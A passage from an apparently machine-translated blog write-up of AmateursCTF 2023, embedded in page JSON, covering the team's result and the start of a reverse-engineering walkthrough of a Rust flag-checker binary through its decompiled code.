{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-amature-2023-en","result":{"data":{"markdownRemark":{"id":"93cd7042-6fd1-5ca3-a4b8-af8da1303006","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-amature-2023\">original page</a>.</p>\n</blockquote>\n<p>I participated in AmateursCTF 2023, which ran for five days starting on 7/15, with 0nePadding, and we finished 16th out of 914 teams.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/22d85131da85a9e96c66d3af5e2e94af/90cbd/image-20230720213725697.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 44.583333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA50lEQVQoz5WSOQ7DMBAD9RLf932flRtXfoELu/X/P8CACwQI0kQpCMOQdpbcldq2Dfd947ouPM+D8zwRhiFc1/1bjuNApWmKYRjQ9z26rsM4jgiCAJ7nCfgfsUa1bYt93+H7vkDrusayLPI1DAOmaYps29aSiuNYiqMoQtM0qKpKVBQFeJYkiZwxjo4UreZ5LsV0RigbMD4dz/MsI+FlOvgJ5LzogrOcpkncEUgwgWVZSvQ37BdUMQ6L6JQQRqVjNsiyTJrpuhMgIx3HIQBueF1XcclFWJYl0nUnQL4fbpg/32/qU7oOX+C7CKBR/yaiAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/22d85131da85a9e96c66d3af5e2e94af/8ac56/image-20230720213725697.webp 240w,\n/static/22d85131da85a9e96c66d3af5e2e94af/d3be9/image-20230720213725697.webp 480w,\n/static/22d85131da85a9e96c66d3af5e2e94af/a9b84/image-20230720213725697.webp 605w\"\n              sizes=\"(max-width: 605px) 100vw, 605px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/22d85131da85a9e96c66d3af5e2e94af/8ff5a/image-20230720213725697.png 240w,\n/static/22d85131da85a9e96c66d3af5e2e94af/e85cb/image-20230720213725697.png 480w,\n/static/22d85131da85a9e96c66d3af5e2e94af/90cbd/image-20230720213725697.png 605w\"\n            sizes=\"(max-width: 605px) 100vw, 605px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/22d85131da85a9e96c66d3af5e2e94af/90cbd/image-20230720213725697.png\"\n            alt=\"image-20230720213725697\"\n            title=\"image-20230720213725697\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Thanks in part to the strong performance of new members who have started participating seriously from this event onward, we stayed just below the very top of the leaderboard the whole time, which made it a pretty intense contest.</p>\n<p>For Rev, I managed to clear all of the ELF, PE, and Java problems, but I couldn’t keep up with analyzing more unusual code such as Emojicode and Scratch, so I wasn’t able to finish those in the end.</p>\n<p>I’d really like to have one more teammate who mainly works on Rev.</p>\n<p>There were a lot of challenges, so this writeup is a bit brief, but here it is.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#rustezerev\">rusteze(Rev)</a></li>\n<li><a href=\"#volcanorev\">volcano(Rev)</a></li>\n<li><a href=\"#headacherev\">headache(Rev)</a></li>\n<li><a href=\"#csce221-data-structures-and-algorithmsrev\">CSCE221-Data Structures and Algorithms(Rev)</a></li>\n<li><a href=\"#jvmrev\">jvm(Rev)</a></li>\n<li><a href=\"#rusteze-2rev\">rusteze 2(Rev)</a></li>\n<li><a href=\"#painfully-deep-flagforensic\">Painfully Deep Flag(Forensic)</a></li>\n<li><a href=\"#rules-icebergforensic\">rules-iceberg(Forensic)</a></li>\n<li><a href=\"#elfcrafting-v1pwn\">ELFcrafting-v1(Pwn)</a></li>\n<li><a href=\"#simple-heap-v1pwn\">simple-heap-v1(Pwn)</a></li>\n<li><a href=\"#screenshotguesserosint\">ScreenshotGuesser(OSINT)</a></li>\n<li><a href=\"#conclusion\">Conclusion</a></li>\n</ul>\n<h2 id=\"rustezerev\" style=\"position:relative;\"><a href=\"#rustezerev\" aria-label=\"rustezerev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>rusteze(Rev)</h2>\n<blockquote>\n<p>Get rid of all your Rust rust with this brand new Rust-eze™ de-ruster.</p>\n<p>Flag is <code class=\"language-text\">amateursCTF{[a-zA-Z0-9_]+}</code></p>\n</blockquote>\n<p>This was an ELF binary analysis challenge written in Rust.</p>\n<p>When decompiled, it yielded code like the following.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 778px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/439ce135a98bdbce52abb626b58c1d7b/20982/image-20230715110602449.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 111.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAAsTAAALEwEAmpwYAAACX0lEQVQ4y62VaZLTMBCFc/8bcQ9OMAPEm2Ttu/14sichoYYfQLrSJS/VT18vci5125AqIM1XLOoLVrnAuYIYPVKKqI1ePMqH1xoPP6/7s4DWGrrt+45LyAE+WizWYpgcfYIQM8SyouSErSUG9CAK0Fvrz+Jx3w7h+CzogsS0SnwXHoOOmGzCVWSMa4IICSspF12wuoqZ5KvZsIgG6yxC1NiBu1i3iysVMibIECB9JF2BJa3RGlplBNfg1Qa/7gjmdCd2eL0juYwStrvgQbhvGXtPa2tIgcGmwgwMGhkwA2kBqjnXLTGwAM0zOO9g5qjhg67/6BeTPFZvmZ7HbOkiYRwa5GJhNUmVg9Meeg6wMpy0Elxx0NawPxBSMNUGl1kzKTGwlsJGbpBhYsYa+rWH42pI3rsfmGJK27HGeIp0vHsNSx8bdmmYBd6vC67jim9vijUUHKGZq0JOmh3vY+I4QobX/Z7Pc3wSPAgz2x45Op1SkWRRAeOVZENEWPlOVRS/IbO7jdnse7vT3ESeCPetYNsYVLs3aHZuWRWUMnDewFjD8Vjgw5Upv3MC3rgujHkQxS+7xChZH4FlnjhfBtY3xBSYjmGNLDcpDNoo0I6NT3+mfCIMLPo0DxxkCW0zcikUO49U4knxLMeN5ne7iTzapRQLRcLRTqhM/092G9xH/0z00lMTasJVD8g1/1XwZ0ZBDalG/FDXJ8F/tYNQHoQjSiuvEVxIOJkZkTP534Il81u4jhBOItb0AkF2uTdlsjMCR+UlglLP/GIL/hWk1wmOZuJ59q+p4ZEym9JPxf8K/gRY+L2Ta9eoPgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/439ce135a98bdbce52abb626b58c1d7b/8ac56/image-20230715110602449.webp 240w,\n/static/439ce135a98bdbce52abb626b58c1d7b/d3be9/image-20230715110602449.webp 480w,\n/static/439ce135a98bdbce52abb626b58c1d7b/10884/image-20230715110602449.webp 778w\"\n              sizes=\"(max-width: 778px) 100vw, 778px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/439ce135a98bdbce52abb626b58c1d7b/8ff5a/image-20230715110602449.png 240w,\n/static/439ce135a98bdbce52abb626b58c1d7b/e85cb/image-20230715110602449.png 480w,\n/static/439ce135a98bdbce52abb626b58c1d7b/20982/image-20230715110602449.png 778w\"\n            sizes=\"(max-width: 778px) 100vw, 778px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/439ce135a98bdbce52abb626b58c1d7b/20982/image-20230715110602449.png\"\n            alt=\"image-20230715110602449\"\n            title=\"image-20230715110602449\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The decompiled result was as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> rusteze<span class=\"token operator\">::</span>rusteze<span class=\"token operator\">::</span><span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  ulong uVar1<span class=\"token punctuation\">;</span>\n  Result<span class=\"token operator\">&lt;</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span> self<span class=\"token punctuation\">;</span>\n  u8 <span class=\"token operator\">*</span>puVar2<span class=\"token punctuation\">;</span>\n  ulong in_stack_fffffffffffffdc8<span class=\"token punctuation\">;</span>\n  undefined7 in_stack_fffffffffffffdd0<span class=\"token punctuation\">;</span>\n  Arguments local_1b8<span class=\"token punctuation\">;</span>\n  undefined8 local_188<span class=\"token punctuation\">;</span>\n  String local_180<span class=\"token punctuation\">;</span>\n  Result<span class=\"token operator\">&lt;</span>usize<span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span> local_168<span class=\"token punctuation\">;</span>\n  undefined8 local_158<span class=\"token punctuation\">;</span>\n  Arguments local_150<span class=\"token punctuation\">;</span>\n  byte key <span class=\"token punctuation\">[</span><span class=\"token number\">38</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  byte result <span class=\"token punctuation\">[</span><span class=\"token number\">38</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  ulong i<span class=\"token punctuation\">;</span>\n  byte local_c7<span class=\"token punctuation\">;</span>\n  byte check <span class=\"token punctuation\">[</span><span class=\"token number\">38</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  Arguments local_a0<span class=\"token punctuation\">;</span>\n  Arguments local_70<span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">&amp;</span>str local_30<span class=\"token punctuation\">;</span>\n  byte local_19<span class=\"token punctuation\">;</span>\n  undefined4 local_18<span class=\"token punctuation\">;</span>\n  byte local_11<span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">&amp;</span>str local_10<span class=\"token punctuation\">;</span>\n  byte r<span class=\"token punctuation\">;</span>\n  \n  core<span class=\"token operator\">::</span>fmt<span class=\"token operator\">::</span>Arguments<span class=\"token operator\">::</span><span class=\"token function\">new_const</span>\n            <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_1b8<span class=\"token punctuation\">,</span>\n             <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span><span class=\"token punctuation\">[</span><span class=\"token operator\">&amp;</span>str<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token function\">CONCAT115</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span><span class=\"token function\">CONCAT78</span><span class=\"token punctuation\">(</span>in_stack_fffffffffffffdd0<span class=\"token punctuation\">,</span>in_stack_fffffffffffffdc8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token function\">_print</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_1b8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  local_188 <span class=\"token operator\">=</span> std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token constant\">stdout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  self <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>Result<span class=\"token operator\">&lt;</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span><span class=\"token punctuation\">)</span>std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token punctuation\">{</span>impl#<span class=\"token number\">12</span><span class=\"token punctuation\">}</span><span class=\"token operator\">::</span><span class=\"token function\">flush</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_188<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  core<span class=\"token operator\">::</span>result<span class=\"token operator\">::</span>Result<span class=\"token operator\">&lt;</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span><span class=\"token operator\">::</span>unwrap<span class=\"token operator\">&lt;</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span><span class=\"token punctuation\">(</span>self<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  alloc<span class=\"token operator\">::</span>string<span class=\"token operator\">::</span>String<span class=\"token operator\">::</span><span class=\"token function\">new</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_180<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">/* try { // try from 00108f21 to 00108f29 has its CatchHandler @ 00108f43 */</span>\n                    <span class=\"token comment\">/* } // end try from 00108f21 to 00108f29 */</span>\n  local_158 <span class=\"token operator\">=</span> std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token constant\">stdin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">/* try { // try from 00108f66 to 00108fc6 has its CatchHandler @ 00108f43 */</span>\n  std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span>Stdin<span class=\"token operator\">::</span><span class=\"token function\">read_line</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_168<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_158<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_180<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  core<span class=\"token operator\">::</span>result<span class=\"token operator\">::</span>Result<span class=\"token operator\">&lt;</span>usize<span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span><span class=\"token operator\">::</span>unwrap<span class=\"token operator\">&lt;</span>usize<span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span>\n            <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_168<span class=\"token punctuation\">,</span>\n             <span class=\"token punctuation\">(</span>Result<span class=\"token operator\">&lt;</span>usize<span class=\"token punctuation\">,</span>_std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>error<span class=\"token operator\">::</span>Error<span class=\"token operator\">></span><span class=\"token punctuation\">)</span>\n             <span class=\"token function\">CONCAT115</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span><span class=\"token function\">CONCAT78</span><span class=\"token punctuation\">(</span>in_stack_fffffffffffffdd0<span class=\"token punctuation\">,</span>in_stack_fffffffffffffdc8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  alloc<span class=\"token operator\">::</span>string<span class=\"token operator\">::</span><span class=\"token punctuation\">{</span>impl#<span class=\"token number\">38</span><span class=\"token punctuation\">}</span><span class=\"token operator\">::</span><span class=\"token function\">deref</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_180<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">/* } // end try from 00108f66 to 00108fc6 */</span>\n  local_30 <span class=\"token operator\">=</span> core<span class=\"token operator\">::</span>str<span class=\"token operator\">::</span><span class=\"token punctuation\">{</span>impl#<span class=\"token number\">0</span><span class=\"token punctuation\">}</span><span class=\"token operator\">::</span><span class=\"token function\">trim</span>\n                       <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>str<span class=\"token punctuation\">)</span><span class=\"token function\">CONCAT115</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span><span class=\"token function\">CONCAT78</span><span class=\"token punctuation\">(</span>in_stack_fffffffffffffdd0<span class=\"token punctuation\">,</span>\n                                                   in_stack_fffffffffffffdc8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  puVar2 <span class=\"token operator\">=</span> <span class=\"token function\">SUB168</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>undefined  <span class=\"token punctuation\">[</span><span class=\"token number\">16</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>local_30<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  local_10 <span class=\"token operator\">=</span> local_30<span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">SUB168</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>undefined  <span class=\"token punctuation\">[</span><span class=\"token number\">16</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>local_30<span class=\"token punctuation\">,</span><span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x27</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x97</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x57</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xe1</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa9</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x75</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x66</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">99</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xe3</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa0</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x73</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x59</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">15</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xfb</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x43</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x8f</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xe0</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">20</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xba</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xc0</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">22</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x54</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xbf</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">26</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x9f</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">27</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x2f</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xc4</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xaa</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">30</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa6</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">31</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x74</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">32</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">33</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xdd</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">34</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x97</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x22</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">36</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xed</span><span class=\"token punctuation\">;</span>\n    key<span class=\"token punctuation\">[</span><span class=\"token number\">37</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xc5</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">memset</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    uVar1 <span class=\"token operator\">=</span> i<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">=</span> uVar1<span class=\"token punctuation\">,</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0x25</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* try { // try from 0010933e to 001095c0 has its CatchHandler @ 00108f43 */</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic_bounds_check</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a6038<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0x25</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic_bounds_check</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a6050<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      local_19 <span class=\"token 